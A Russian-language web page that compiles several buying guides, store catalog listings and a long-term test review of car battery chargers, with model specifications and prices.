10 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Аккумуляторное зарядное устройство для автомобильного аккумулятора

Лучшее зарядное устройство для автомобильного аккумулятора

Лучшее зарядное устройство для автомобильного аккумулятора.

Как его выбрать и что нужно знать?

При выборе зарядного устройства прежде всего вам необходимо знать тип аккумулятора, установленного в машине, ведь некоторые из них требуют персонального внимания и подхода.

Например, это касается свинцовых батарей — они требуют использования специальных зарядок.

Для большинства аккумуляторов – подходят практически любые универсальные устройства.

Хотя современные приборы позволяют одновременно заряжать практически любую АКБ, используя несколько значений выходной мощности и зарядного тока.

Особенности выбора зарядки для АКБ

Определившись с видом батареи, требующей зарядки, выбор лучшей модели продолжают по другим характеристикам.

Желательно отдавать предпочтение компактным переносным моделям, обращаться с которыми удобнее и проще.

А, выбирая между оборудованием, работающим от прикуривателя и от однофазной сети, следует обращать внимание на второй вариант – зарядные устройства, которым требуется стандартные 220В.

Они позволяют легко рассчитать время заряда и оставлять аккумулятор на зарядку в течение определённого периода (как правило, на ночь, то есть на 6–10 часов).

И, как правило, обеспечивают сначала быстрое восстановление половины ёмкости батареи, постепенно снижая мощность до окончательного заряда.

Для защиты аккумуляторов от перезаряда каждый прибор комплектуется специальной защитой, автоматически отключающей его, когда АКБ зарядилась на 100%.

Среди других параметров, которые требуется учесть при выборе зарядки, следует отметить:

  • ёмкость батарей, которые требуется заряжать. Для легковых авто она равна, в среднем, от 40 до 62 Ач, для мотоциклов – до 20 Ач, для микроавтобусов – до 120–160 Ач;
  • зарядный ток. 6 А подходит для аккумуляторов ёмкостью до 60–70 Ач. 12 и 18 А – оптимальный вариант для микроавтобусов и внедорожников;
  • ценовая категория. Стоимость большинства моделей находится на уровне 2000–3 тыс. руб. Более функциональное оборудование обойдётся в 5 тысяч и более.

Марка зарядного устройства тоже имеет значение. Самыми надёжными и эффективными приборами считаются зарядки немецкого производства. В то время как корейские модели отличаются доступной ценой при достаточно неплохих характеристиках.

Популярные модели зарядок

Практически любое современное зарядное устройство справляется с восстановлением аккумулятора легковых автомобилей и небольшого коммерческого транспорта в течение 6–10 ч.

Эти же приборы позволяют вернуть работоспособность полностью разряженной АКБ. При этом время восстановления ёмкости батареи с нулевым зарядом рассчитывается с учётом 10–15% запаса.

Например, устройство с током 6 А зарядит аккумулятор 60 Ач не за 10, а за 11–12 ч.

Если же батарея будет заряжена на треть (именно с этого момента рекомендуется начинать зарядку) – соответственно, за 7–8 часов.

Желая уменьшить это время, следует покупать более мощное устройство. При этом выбор устройства с автоматической плавающей регулировкой параметров повысит срок службы аккумуляторов. Установка меньшего значения зарядного тока увеличит время заряда, но и улучшит восстановление. Если функции автоматической регулировки у зарядного устройства нет, пользователю придётся самостоятельно следить за батареей.

Bosch C3 – простая модель для легковых авто

Автомобильная зарядка Bosch C3, выпускаемая известным немецким концерном, является оптимальным вариантом для большинства батарей – от кислотно-свинцовых до гелевых.

Она имеет 4 полностью автоматизированных зарядных режима, дающих возможность восстанавливать аккумуляторы различной ёмкости (до 140 Ач) при положительной и отрицательной температуре.

Удобный интерфейс и высокая мощность гарантируют правильную и быструю зарядку.

А системы безопасности способны предупредить пользователя о неправильном присоединении батареи, предотвращая короткое замыкание.

  • рабочее напряжение: 220В (50 Гц);
  • выходное напряжение: 6В (для заряда аккумуляторов ёмкостью до 14 Ач) и 12В (до 120 Ач);
  • сила зарядного тока: 0,8 А и 3,8 А;
  • тип заряжаемых батарей: гелевые (WET, AGM, GEL, VRLA) и свинцово-кислотные;
  • стоимость модели: от 2300 руб.

Bosch C7 – максимальная функциональность

Благодаря использованию зарядного устройства Bosch C7, можно восстанавливать ёмкость автомобильных аккумуляторов различного типа – от гелевых до кислотно-свинцовых.

При этом используется уже не 4 режима, как у менее функциональной модели C7, а шесть:

  • Для заряда одной обычной батареи с пусковым током 7А;
  • Для повышения ёмкости аккумуляторов гелевого типа или любых АКБ в зимнее время (ток 7 А);
  • Восстановления АКБ после полной разрядки (током 1,5 А);
  • Поддерживание питания батареи в процессе её замены;
  • Зарядка батарей лёгкого грузового транспорта;
  • Повышение ёмкости аккумуляторов грузовиков в условиях отрицательных температур.
  • напряжение: рабочее – 220В, выходное – 12В и 24В;
  • сила тока: 3,5А и 7 А;
  • зарядка аккумуляторов: до 230 Ач;
  • совместимость с АКБ: гелевые и свинцовые;
  • стоимость: от 6500 руб.

Tesla ЗУ-40080 – недорогой прибор для батарей грузового транспорта

Зарядка ЗУ-40080 марки Тесла имеет сравнительно большие габариты и обеспечивает восстановление свинцово-кислотных батарей различного оборудования – от обычного транспорта до катеров, мотоциклов и даже газонокосилок.

Ёмкость заряжаемого аккумулятора может находиться в пределах 20–180 Ач, а зарядный ток достигает 8 А, что позволяет прибору работать с АКБ внедорожников , микроавтобусов и грузовиков.

Для удобства использования устройство комплектуется системами защиты от неправильного подключения, перегрева и короткого замыкания, зарядными проводами длиной 1.4 и 1.7 метров.

Для размещения на стене у прибора есть специальные крепления на ударопрочном и влагозащищенном корпусе.

А к главным плюсам оборудования относят его минимальную среди аналогичных устройств цену.

  • величина напряжения: входного – 220–240В (50 Гц), выходного – 6/12В;
  • зарядный ток: 5,6 А (номинальный) и 8 А (максимальный);
  • максимальная ёмкость заряжаемых АКБ: 180 Ач;
  • тип АКБ: свинцово-кислотные;
  • цена прибора: от 1500 руб.

Deca SM 1270 – компактный и универсальный

Небольшое устройство итальянской марки Deca обеспечит восстановление аккумуляторов обычного автомобиля в течение всего 8–10 часов, в зависимости от ёмкости.

А возможность заряда АКБ до 225 Ач позволяет использовать прибор ещё и для работы с грузовым транспортом.

Функциональность, выражающаяся в наличии трёх режимов работы, и безопасность зарядки сочетается с универсальностью (возможностью заряда батарей любого типа).

А единственным минусом можно назвать только высокую цену, хотя она вполне соответствует возможностям.

  • рабочее напряжение: 220–240В;
  • параметры подключаемого оборудования: 12В, 15–225 Ач;
  • зарядный ток: 7 А;
  • аккумуляторы: AGM, свинцовые и гелевые;
  • стоимость: от 4500 руб.

Lavita LA 192309 – компактный набор для зарядки обычных авто

Ещё одно зарядное устройство, LAVITA LA 192309, отличается невысокой ценой и представляет собой целый набор оборудования для восстановления любых свинцово-кислотных аккумуляторов.

К минусам прибора можно отнести необходимость ручного переключения мощности заряда, слабый зарядный ток и невозможность работать с АКБ ёмкостью больше 80 Ач.

К плюсам – ударопрочный, огнеупорный и вместе с тем лёгкий пластиковый корпус, невысокую цену и полную защиту от всех непредвиденных ситуаций – от неправильных подключений, замыкания, перегрева и перезарядки.

  • напряжение: 220В;
  • выходное напряжение прибора: 6В и 12В;
  • сила заряда: 3,52 А;
  • характеристики батареи: 12–80 Ач, свинцово-кислотные;
  • цена: от 1500 руб.

Pulso BC-40100 – прибор для заряда АКБ на морозе

Прибор для зарядки АКБ является оптимальным вариантом для использования в условиях низких температур.

Изготовленное из качественного металла и пластика зарядное устройство отличается доступной стоимостью, сравнительно небольшими размерами, защитой от перегрева, перезаряда и неправильного подключения аккумуляторов.

Высокое значение зарядного тока в 10 А и совместимость с батареями ёмкостью 20–200 Ач дают возможность заряжать батареи легковых авто, грузовиков, газонокосилок, внедорожников и мотоциклов.

Характеристики Pulso BC-40100:

  • напряжение в сети: 220В;
  • напряжение выхода: 6 и 12В;
  • зарядный ток: 10 А;
  • параметры заряжаемых аккумуляторов: свинцово-кислотные, ёмкость 20–200 Ач;
  • стоимость зарядного устройства: от 2300 руб.

АИДА 8 super – лёгкий универсальный прибор

Автоматическое зарядное устройство Аида 8 Супер подходит для восстановления ёмкости и работоспособности аккумуляторов любого типа, устанавливаемых на грузовых и легковых авто, мотоциклах и автобусах.

Прибор осуществляет зарядку батарей в 3 режимах (включая хранение АКБ в межэксплуатационный период) и работает даже с оборудованием, разряженном до нуля.

При этом обеспечивается полная защита от перезарядки и перегрева. Модель весит не более 600 грам и размещается в небольшой сумке для переноски.

Параметры Аида – 8:

  • напряжение в сети: 150–240В (50 Гц);
  • ток заряда: 4 и 8 А;
  • напряжение питания: до 13В;
  • аккумуляторы: 40–160 А/ч, AGM, свинцовые, гель;
  • цены: от 2 тыс. руб.

АИДА 10s – зарядка и хранение мощных АКБ

С помощью зарядного устройства модели АИДАм-10S можно восстанавливать аккумуляторы любого автотранспорта, независимо от уровня их заряда и температуры окружающей среды.

Для запуска батарей используют специальный предпусковой режим с током 10 Ампер.

Прибор применяется также для хранения АКБ, когда они не используются, что позволяет сохранить их в течение определённого периода.

Преимущества модели заключаются в невысокой цене и небольших размерах, защите от неправильного подключения и возможности использоваться в качестве блока питания.

Параметры зарядного устройства:

  • допускаемое напряжение сети: 150–240В;
  • зарядные токи: 1, 5 и 10 А;
  • выходное напряжение: 12В;
  • тип АКБ: гель, свинец, AGM, 4–180 Ач;
  • стоимость: от 2300 руб.

АИДА 11 – средняя цена и приличные параметры

Зарядка Аида 11 работает в ручном и автоматическом режиме, а также позволяет десульфатацию – восстановление работоспособности аккумуляторов.

Модель может использоваться для заряда батарей ёмкостью до 180 Ач, то есть устройств, устанавливаемых и на обычных авто, и на внедорожниках, автобусах и грузовиках.

Оборудование имеет 4 степени защиты, среднюю стоимость и небольшие габариты.

А среди его преимуществ можно назвать большое значение зарядного тока, благодаря которому даже полностью разряженная автомобильная АКБ на 60 Ач заряжается всего за 7 часов.

  • допустимое напряжение: выходное – от 160В до 240В, выходное – 12В;
  • частота в сети: 50–60 Гц;
  • зарядный ток – от 0 до 10 А;
  • тип заряжаемых батарей: свинцовые, гелевые и AGM;
  • стоимость прибора: от 2500 руб.

Простая и удобная зарядка AUTO WELLE AW05-1208

Зарядка марки AUTO WELLE, так же как и все остальные модели в обзоре, имеет полную защиту от любых ошибок и неполадок.

А дополнительным преимуществом является ещё и влагозащита уровня IP 65.

Автоматизация работы прибора обеспечивается встроенным процессором, а универсальность – наличием нескольких режимов работы и возможностью заряжать АКБ любого типа ёмкостью до 160 Ач.

  • сила зарядного тока: 2 и 8 А;
  • заряжаемые батареи: свинцово-кислотные, AGM и гелевые, 4–160 А/ч;
  • напряжение: 220В, выходное – 6В и 12В;
  • цена: от 2 тыс. руб.

Подведение итогов

От правильного выбора зарядки для аккумулятора во многом зависит срок службы автомобильной батареи.

И, учитывая, что широкий ассортимент таких приборов на современном рынке позволяет легко найти любое оборудование, стоит потратить некоторое время на сравнение характеристик различных моделей.

Хотя, если заряжать требуется батарею не автобуса, грузовика или мотоцикла, а обычного легкового автомобиля, можно выбрать практически любую модель, ориентируясь на цену и отзывы о ней, которые можно легко найти в сети.

Зарядные устройства для автомобильных аккумуляторов

Код: 728574; Вход — прикуриватель (m), 12-13.8 В. Выход — прикуриватель (m), 15 В, 6-7 А. Для батарей с емкостью 1.2-72 А*ч. Рабочая температура от -20 до +50°С. Чехол в комплекте.

Код: 718116; Вход — бытовая сеть, 220-240 В. Выход — клеммы, 14.4 В, 2 А. Для батарей с емкостью 4-80 А*ч. Рабочая температура от -20 до +50°С

Код: 418929; Вход — бытовая сеть, 220 В. Выход — клеммы, 7.5-15 В, 0.8-4.2 А. Для батарей с емкостью 1.2-120 А*ч. Рабочая температура от -10 до +45°С

Код: 1032573; Вход — бытовая сеть, Выход — клеммы, 14.8 В, 8 А. Для батарей с емкостью 20-120 А*ч. Рабочая температура от -10 до +35°С

Код: 418932; Вход — бытовая сеть, 220 В. Выход — клеммы, 7.3-14.7 В, 0.8-4.2 А. Для батарей с емкостью 1.2-120 А*ч. Рабочая температура от -10 до +45°С

Код: 418933; Вход — бытовая сеть, 220 В. Выход — клеммы, 6 А. Для батарей с емкостью 1.2-120 А*ч. Рабочая температура от -10 до +45°С

Код: 1175755; Вход — бытовая сеть, 220 В. Выход — клеммы/прикуриватель, 220 В, 2 А. Для батарей с емкостью 6-40 А*ч. Рабочая температура от -10 до +40°С

Код: 418935; Вход — бытовая сеть, 220 В. Выход — клеммы, 15 В, Для батарей с емкостью 1.2-120 А*ч. Рабочая температура от -10 до +45°С

Код: 1024427; Вход — бытовая сеть, 220 В. Выход — клеммы, 14.4-14.7 В, 4 А. Для батарей с емкостью 1.2-120 А*ч. Рабочая температура от -10 до +45°С

Код: 394239; Вход — бытовая сеть, 15 В. Выход — клеммы, 5 В, Стартовый ток — 300A. Встроенный аккумулятор — 13500мAч. Рабочая температура от -50 до +85°С. USB-порт.

Код: 726592; Вход — бытовая сеть, 220-240 В. Выход — клеммы, 14.4-14.7 В, 4 А. Для батарей с емкостью 1.2-80 А*ч. Рабочая температура от -20 до +50°С

Код: 499940; Выход — прикуриватель (m), 5-12 В, 2-3.5 А. Стартовый ток — 300A. Встроенный аккумулятор — 10000мAч. Встроенный фонарь. USB-порт. Чехол в комплекте.

Код: 1176477; Вход — бытовая сеть, 220 В. Выход — клеммы/прикуриватель, 220 В, 1-4 А. Для батарей с емкостью 3-80 А*ч. Рабочая температура от -10 до +40°С

Код: 499941; Выход — прикуриватель (m), 5-19 В, 2-3.5 А. Стартовый ток — 300A. Встроенный аккумулятор — 13500мAч. USB-порт.

Код: 1102826; Вход — бытовая сеть, 220-15 В. Выход — клеммы, 5-12 В, Стартовый ток — 300A. Встроенный аккумулятор — 18000мAч. Рабочая температура от -50 до +85°С. Встроенный фонарь. USB-порт.

Код: 1180131; Вход — бытовая сеть, 110-230 В. Выход — клеммы, 6-15.5 В, 3-7 А. Для батарей с емкостью 6-120 А*ч. Рабочая температура от -20 до +50°С. Активное охлаждение.

Код: 1176516; Вход — бытовая сеть, 220 В. Выход — клеммы, 220 В, Стартовый ток — 400A. Встроенный аккумулятор — 10000мAч. Рабочая температура от -30 до +50°С. Встроенный фонарь. USB-порт. Набор адаптеров для мобильных устройств.

Код: 718117; Вход — бытовая сеть, 220-240 В. Выход — клеммы, 14.4-14.7 В, 8 А. Для батарей с емкостью 6-160 А*ч. Рабочая температура от -20 до +50°С

Код: 1151299; Вход — бытовая сеть/прикуриватель, 12-19 В. Выход — клеммы/прикуриватель/адаптер, 5-19 В, 2-3.5 А. Для батарей с емкостью 14000 А*ч. Стартовый ток — 200A. Встроенный аккумулятор — 14000мAч. Рабочая температура от.

  • 1
  • 2
  • наверх ↑

    На сайте интернет-магазина СИТИЛИНК мы собрали большой ассортимент и привлекательные цены на зарядные устройства для автомобильных аккумуляторов. В каталоге представлены пуско-зарядные устройства для автомобильных аккумуляторов от ведущих мировых производителей. Вы можете ознакомиться с фотографиями, описанием товаров, отзывами покупателей, техническими характеристиками, а также сравнить понравившиеся модели и выбрать лучшую стоимость. Для того чтобы купить зарядное устройство для автомобильного аккумулятора, достаточно оформить заявку на сайте или связаться с консультантом в режиме on-line.

    Мы осуществляем доставку Ваших покупок по Москве, Санкт-Петербургу, Казани, Нижнему Новгороду, Красноярску, Перми, Екатеринбургу, Уфе, Краснодару, Новосибирску, Ростову-на-Дону, Челябинску, Самаре и другим городам России.

    Зарядные устройства

    Код товара: 131931

    Артикул товара: Сонар мото

    В рознице: 950 р.

    Код товара: 125642

    Артикул товара: Сонар мото

    В рознице: 1 050 р.

    Код товара: 142196

    Артикул товара: УЗ 201

    В рознице: 1 120 р.

    Код товара: 142197

    Артикул товара: УЗ 201П

    В рознице: 1 150 р.

    Код товара: 195673

    Артикул товара: W-05

    В рознице: 1 250 р.

    Код товара: 064946

    Артикул товара: 2-202

    В рознице: 1 350 р.

    Код товара: 166345

    Артикул товара: W-15

    В рознице: 1 385 р.

    Код товара: 164586

    Артикул товара: КУЛОН-100

    В рознице: 1 420 р.

    Код товара: 128166

    Артикул товара: PW-150

    В рознице: 1 440 р.

    Код товара: 081973

    Артикул товара: УЗ 207П 5А

    В рознице: 1 650 р.

    Код товара: 018720

    Артикул товара: ЗУ-55

    В рознице: 1 850 р.

    Код товара: 166508

    Артикул товара: S-80040

    В рознице: 1 950 р.

    Код товара: 128171

    Артикул товара: PW-265

    В рознице: 2 080 р.

    Код товара: 166354

    Артикул товара: ЗУ-90

    В рознице: 2 100 р.

    Код товара: 166355

    Артикул товара: ЗУ-90М

    В рознице: 2 100 р.

    Код товара: 198097

    Артикул товара: Катунь 506

    В рознице: 2 100 р.

    Код товара: 119489

    Артикул товара: Катунь 501

    В рознице: 2 100 р.

    Код товара: 247729

    Артикул товара: PW-260P

    В рознице: 2 100 р.

    Код товара: 119487

    Артикул товара: ЗУ-55А

    Артикул производителя: ЗУ-55А

    В рознице: 2 150 р.

    Код товара: 128170

    Артикул товара: PW-260

    В рознице: 2 160 р.

    Код товара: 065981

    Артикул товара: Катунь 510

    В рознице: 2 200 р.

    Код товара: 240378

    Артикул товара: A78867S

    В рознице: 2 200 р.

    Код товара: 166346

    Артикул товара: W-20

    В рознице: 2 250 р.

    Код товара: 128168

    Артикул товара: PW-160

    В рознице: 2 300 р.

    Код товара: 166353

    Артикул товара: ЗУ-75А1

    В рознице: 2 300 р.

    В этом разделе мы предлагаем выбрать и купить зарядное устройство для аккумулятора, которое необходимо каждому автомобилисту. Оно позволит зарядить авто, которое не эксплуатировалось в течении длительного времени. К тому же аккумулятору необходима регулярная подзарядка зимой. При этом абсолютно не важно, используется авто в данный период или нет.

    Для того, чтобы правильно выбрать зарядное устройство, необходимо разобраться в том, какие их виды бывают. В целом, они делятся на две группы: предпусковые и зарядно-пусковые. Что касается первых, они восполняют емкость батареи. Очень удобным является то, что подзарядку аккумулятора можно осуществлять не вынимая его. Однако из-за слишком тонких проводов происходит утечка тока. В данном случае пуско зарядное устройство для автомобиля является более универсальным, так как оно не только позволяет выполнять зарядку, но и помогает завести автомобиль, когда аккумулятор полностью разряжен. Единственное, что может вызывать вопросы — это его стоимость и размеры, а в целом данное устройство станет незаменимой вещью для каждого автовладельца.

    Как же выбрать зарядное устройство для автомобильного аккумулятора, и каким рекомендациям необходимо следовать? Следующие 4 критерия нужно учитывать при покупке зарядного устройства:

    • перед покупкой новой зарядки, необходимо изучить характеристики аккумулятора, установленного на автомобиле; из-за того, что зарядка новая, выдаваемый ток будет больше на 10-15% больше;
    • цена, которая зависит от производителя и качества товара; если у Вас есть возможность приобрести зарядное устройство высокого качества от известного производителя — сделайте это, не стоит экономить, так как это может негативно повлиять на работу зарядки;
    • покупайте зарядно-пусковой тип в том случае, если машина все время эксплуатируется, особенно в зимний период;
    • некоторые зарядные устройства оснащены дополнительной опцией “Boost”, поэтому уже с первых минут подключения можно заводить машину.

    Самое главное — соответствие мощности аккумулятора автомобиля с мощностью зарядного устройства, иначе неправильный выбор может привести к ухудшению качеств АКБ или же она совсем перестанет работать.

    Купить зарядное устройство для автомобиля можно в нашем каталоге “Техком”. У нас представлен широкий ассортимент данного товара. Вся наша продукция сертифицирована и отличается высоким качеством. Это обусловлено тем, что мы на протяжении многих лет сотрудничаем с заводами-производителями и улучшаем качество своих услуг. Оформить заказ на сайте очень просто. Если у Вас возникнут какие-либо вопросы или трудности, обращайтесь к нашим специалистам, и они с радостью помогут. Вас также приятно удивит на зарядное устройство цена, так как она доступна и выгодна.

    После покупки внимательно изучите инструкцию по использованию, в которой можно найти все характеристики товара, а также общие правила эксплуатации. Прежде, чем начинать работу с устройством, проверьте его на абсолютное соответствие правилам противопожарной безопасности.

    В магазине Texkom Вы можете купить оригинальные автозапчасти по лучшим ценам. Здесь Вы найдёте качественные запчасти для иномарок по низким ценам, а продавец проконсультирует Вас в выборе детали, Мы ценим своих клиентов, поэтому гарантируем качество.

    Устройства для подзарядки аккумуляторов: компенсация разрядки

    BAT_5284-утв

    О существовании подобных устройств многие даже не догадываются. Про зарядные устройства знают все, а вот какие-то подзарядные – что это? И в каких случаях они могут потребоваться?

    К терминологии мы еще вернемся, а нужны эти «подзарядки» вот зачем. Представьте, что автомобиль неделями стоит в гараже без движения. Когда же он вдруг срочно понадобился, выясняется, что батарея подсела настолько, что крутить стартер не может. А если это случается постоянно?

    В подобную ситуацию часто попадают автомобили, которые стоят на выставочных стендах. У них играет аудиосистема, горит свет, но мотор не работает. Вот и тянутся под капот тоненькие проводки, подпитывающие штатную батарею машины от внешнего источника.

    Большие токи не нужны: достаточно компенсировать потребление штатных микроконтроллеров, а также охранной системы и телематики. У современных гаджетов аппетит скромный – десятки миллиамперов, при том что их аналоги прошлых лет выпуска потребляли порой на порядок больше.

    Казалось бы, подключи зарядное устройство – и нет проблем! Но далеко не всякая «зарядка» рассчитана на постоянную работу в течение недель, а то и месяцев. Другое дело, если производитель указывает на подобную возможность использования своего продукта. Вот такие устройства мы и решили погонять в реальных условиях – в течение нескольких месяцев.

    Из восьми приобретенных изделий только два являются чистой воды «подзарядками» – Торнадо и Moratti. Остальные – «зарядки», обещающие не только оживить севшие аккумуляторы, но и поддерживать их заряд на должном уровне. Именно эту функцию мы и оценивали в ходе испытаний.

    ЧТО И ГДЕ ИСПЫТЫВАЛИ

    Испытания проводили в лаборатории ФГКУ 3 ЦНИИ МО РФ в течение трех месяцев. Длительную проверку способности устройств компенсировать падение заряда вели на батареях энергоемкостью 55, 75 и 90 А·ч при температурах –20; 0; +25 ºС. Склонность к перегреву оценивали при работе с батареями от 75 до 190 А·ч, задавая максимально возможную нагрузку для каждого устройства. Для каждого изделия проверили «дуракоустойчивость» – использовали переполюсовку и т. п. При расстановке по местам учитывали заявленные параметры, качество изготовления, грамотность инструкции и удобство пользования.

    ХРАНЕНИЕ? ПОДЗАРЯДКА? КОМПЕНСАЦИЯ?

    Многомесячный марафон закончился удачно: ни одно из устройств не попросило пощады, ни одна батарея не пожаловалась на плохое обслуживание. «Защита от дурака» тоже на высоте: переполюсовок и прочих провокаций изделия не боятся. В то же время понравились далеко не все – на эту тему мы подробно высказались в подписях фотогалереи. Отметим также, что все устройства обеспечивают подзарядку в 20‑градусный мороз – даже те, которые, судя по инструкции, совсем не морозоустойчивые.

    Но с проводами при этом нужно быть повежливее – они на глазах теряют гибкость.

    Стоит ли искать в магазинах простенькие подзарядники, или лучше приобрести многофункциональное зарядное устройство? Мы считаем, что второй вариант предпочтительнее: разница в цене не космическая, а полноценный зарядник в хозяйстве не помешает. К тому же они практически всегда есть в продаже, а экзотических «братьев меньших» нужно выискивать через Интернет.

    8. ЗАВОДИЛА АЗУ‑108 8 7 6

    Автоматическое импульсное зарядное устройство, Санкт-Петербург

    Ориентировочная цена, руб. 1280

    Температурный диапазон, ºС 0…+40

    Энергоемкость заряжаемых батарей, А·ч 3–110

    Симпатичное устройство неприятно резануло по глазам безграмотными надписями «А/ч» на лицевой панели, в инструкции и на упаковке. Такой единицы измерения нет в природе – есть А·ч. Требования изготовителя к температурным условиям работы устройства – от 0 до 40 ºС – не порадовали: а как же поддерживать заряд батареи, если на улице мороз? Исполнение неряшливое: приклеенные переключатели болтаются. В целом устройство работоспособно, но рекомендовать его не хочется.

    7. Торнадо 3 А.02

    Зарядный автомат-хранитель для аккумуляторных батарей, Тольятти

    Ориентировочная цена, руб. 860

    Температурный диапазон, ºС –20…+40

    Энергоемкость заряжаемых батарей, А·ч до 75

    Прибор обещает поддерживать рабочее со- стояние батареи «как угодно долго», не являясь полноценным зарядным устройством (разве что для батарей энергоемкостью ниже 10 А·ч). Внешне напоминает радиолюбительскую конструкцию в корпусе от реле времени для фотопечати. Элементная база – четвертьвековой давности. Все электрические проверки (испытания на перегрев проводили с батареей 75 А·ч) изделие успешно выдержало. Однако общее впечатление скорее негативное.

    6. Moratti 01.80.005

    Устройство для подзарядки аккумуляторных батарей, КНР

    Ориентировочная цена, руб. 600

    Температурный диапазон, ºС не ниже –10

    Энергоемкость заряжаемых батарей, А·ч 10–250

    Устройство предназначено не для зарядки батарей, а для поддержания работоспособности АКБ при длительном хранении и редком использовании. Длительный режим работы выдерживает спокойно; проверку на перегрев вели на батарее энергоемкостью 190 А·ч. Замечаний в адрес техники нет, а вот описание не понравилось: что такое «гелиевые» батареи? Может быть, имелись в виду гелевые?

    5. СОНАР У3 207.03 3

    Зарядное устройство, Санкт-Петербург

    Ориентировочная цена, руб. 1500

    Температурный диапазон, ºС –5…+35

    Энергоемкость заряжаемых батарей, А·ч 10–180

    Зарядное устройство обеспечивает режим хранения с компенсацией тока саморазряда. К сожалению, нижний температурный предел – всего лишь –5 ºС. Иными словами, на зимнюю работу в неотапливаемом гараже прибор не рассчитан. Корпус при работе не перегревается (проверку проводили с батареей энергоемкостью 170 А·ч). К технике претензий нет, однако цена показалась завышенной.

    4. AIRLINE АСН‑5 А‑06

    Зарядное устройство, Россия – КНР

    Ориентировочная цена, руб. 1050

    Температурный диапазон, ºС нет данных

    Энергоемкость заряжаемых батарей, А·ч до 65

    Предусматривает режим зарядки батареи, установленной на автомобиле. Проверку на перегрев проводили на батарее энергоемкостью 65 А·ч, поводов для замечаний не нашли. С подзарядом справляется успешно. К сожалению, мифическая единица измерения А/ч встречается в описании и этого прибора.

    3. HEYNER, AkkuEnergy Арт. 927130

    Зарядное устройство, Германия

    Ориентировочная цена, руб. 6000

    Температурный диапазон, ºС нет данных

    Энергоемкость заряжаемых батарей, А·ч 30–190

    Зарядное устройство, рассчитанное на длительное подключение к батарее независимо от сезона. Со всеми задачами справилось без проблем. Проверку на перегрев проводили с батареей 190 А·ч. Среди недостатков – заумное описание с неважным переводом и неаппетитная цена.

    1–2. SMART POWER SP‑2N BERKUT

    Компактное универсальное зарядное устройство, Россия – КНР

    Ориентировочная цена, руб. 1150

    Температурный диапазон, ºС –20…+50

    Энергоемкость заряжаемых батарей, А·ч 4–80

    Может быть использовано и для сезонного хранения АКБ, оставаясь подключенным к сети в течение нескольких месяцев. Режим длительной работы переносит спокойно; проверку на перегрев проводили с батареей 90 А·ч. «Дуракоустойчивость» нормальная, замечаний к работе нет.

    1–2. СОРОКИН® 12.98

    Универсальное зарядное устройство для аккумулятора, Россия

    Ориентировочная цена, руб. 3000

    Температурный диапазон, ºС –20…+50

    Энергоемкость заряжаемых батарей, А·ч 6–160

    Полноценное зарядное устройство. Может быть подключено к АКБ автомобиля на длительное время – для зимнего хранения и круглогодичного использования. При работе не перегревается (проверку проводили с батареей 170 А·ч). Замечаний нет. Разве что дороговато.

    НЕМНОГО О БЕЗОПАСНОСТИ

    Надолго оставляя в гараже зарядное устройство, подключенное к сети, убедитесь в том, что вы не схалтурили. Иными словами, вы должны быть уверены, что подключенные к клеммам подкапотного аккумулятора «крокодилы» ни при каких обстоятельствах не устроят вам короткое замыкание (например, при касании закрываемого капота!), а соответствующие провода не будут пережаты крышкой капота или иным способом. Да, проверенные нами устройства имеют встроенную защиту, но не стесняйтесь перепроверить себя лишний раз. Само собой разумеется, что зарядное устройство должно быть гарантированно защищено от прямого попадания влаги, снега и прочих погодных неприятностей. Следует также помнить, что при низких температурах изоляция проводов имеет привычку твердеть и даже ломаться. Это особенно важно учитывать в тех случаях, когда машиной время от времени пользуются, а зарядное устройство в спешке то отключают, то вновь подключают, не обращая внимания на подобные «мелочи».

    К чему может привести повреждение изоляции плюсового провода, если тот случайно коснется «массы», всем понятно.

    И последнее. Прежде чем трогаться с места, не забудьте отключить зарядное устройство от сети и от аккумулятора.

    Зарядное устройство для автомобильного аккумулятора: какое выбрать, как применять

    Зима, холода, одинокие дома… и вы с «крокодилами» посреди Среднерусской равнины, а кругом метель, и ваша машина постепенно превращается в постапокалиптический сугроб. Конечно, эта картина вряд ли станет суровой правдой жизни, если вы живете в большом городе, но факт остается фактом: в нашем климате зарядка для АКБ — вещь необходимая.

    Весьма глупо встать посреди дороги с разряженным аккумулятором или приехать в гости на своей машине, а потом решать вопрос с тем, у кого бы «прикурить». Однако большинство начинающих автолюбителей попадали в такую ситуацию, причем иногда не раз и не два. Как уберечь аккумулятор своей машины и свою нервную систему — от истощения? Ответ простой: надо следить за уровнем заряда в АКБ и иметь в хозяйстве зарядное устройство. Какие же они бывают и как их выбирать?

    Все мы знаем, что в нормальном режиме аккумулятор подзаряжается от генератора время поездки, но зачастую, особенно, если вы ездите по городу на небольшие расстояния, этого бывает категорически мало. Один раз в полгода — с такой частотой следует заряжать свой аккумулятор городским автолюбителям, иначе их шанс в какой-то момент остаться без машины возрастает. Одну из зарядок стоит приурочить к наступлению холодов. Только представьте: вы включите сразу несколько мощных потребителей (обогревы сидений, стекол, зеркал, фары). В пробках на небольших оборотах двигателя мощности генератора может и не хватить для того, чтобы «прокормить» такое количество пожирателей энергии.

    Необходимость подзарядки возникает и если ваш автомобиль долго стоит без движения на холоде, например, вы уехали в командировку или вовсе не ездите зимой. Лучше, конечно, такого не допускать, потому что глубокая разрядка аккумулятора вредна и несколько таких циклов обычно приводят к окончательной гибели устройства, но именно зарядка поможет вам восстановить его работоспособность, если это вообще возможно.

    С чего начать

    В первую очередь, надо разобраться с типом АКБ на вашем автомобиле. Это очень просто, достаточно посмотреть параметры аккумулятора на его корпусе или на сайте производителя авто. «Мурзилка», то есть, руководство пользователя, тоже подойдет.
    Аккумуляторы для автомобилей сегодня могут быть следующих типов: WET, AGM, GEL. В первых электролит находится в жидком виде, во вторых им пропитано стекловолокно, а в третьих, наиболее современных, в виде геля.

    Поскольку, аккумуляторы WET сегодня установлены в подавляющем большинстве автомобилей, то именно о них мы и будем рассказывать. AGM и GEL — варианты для дорогих автомобилей, оснащенных сложной электроникой. Что же касается WET, то это аккумуляторы со свинцовыми электродами в водном растворе серной кислоты.
    Кроме типа АКБ следует также поинтересоваться номинальным напряжением аккумулятора. Сегодня батареи для легковых машин в основном работают с напряжением 12 вольт. Следующим шагом необходимо выяснить номинальное значение емкости вашего аккумулятора. Обычно его можно посмотреть на наклейке батареи — эта величина измеряется в ампер-часах (Ач). Теперь вы знаете почти все, чтобы выбрать хорошее зарядное устройство для АКБ.

    Выбор зарядного устройства для автомобильного аккумулятора

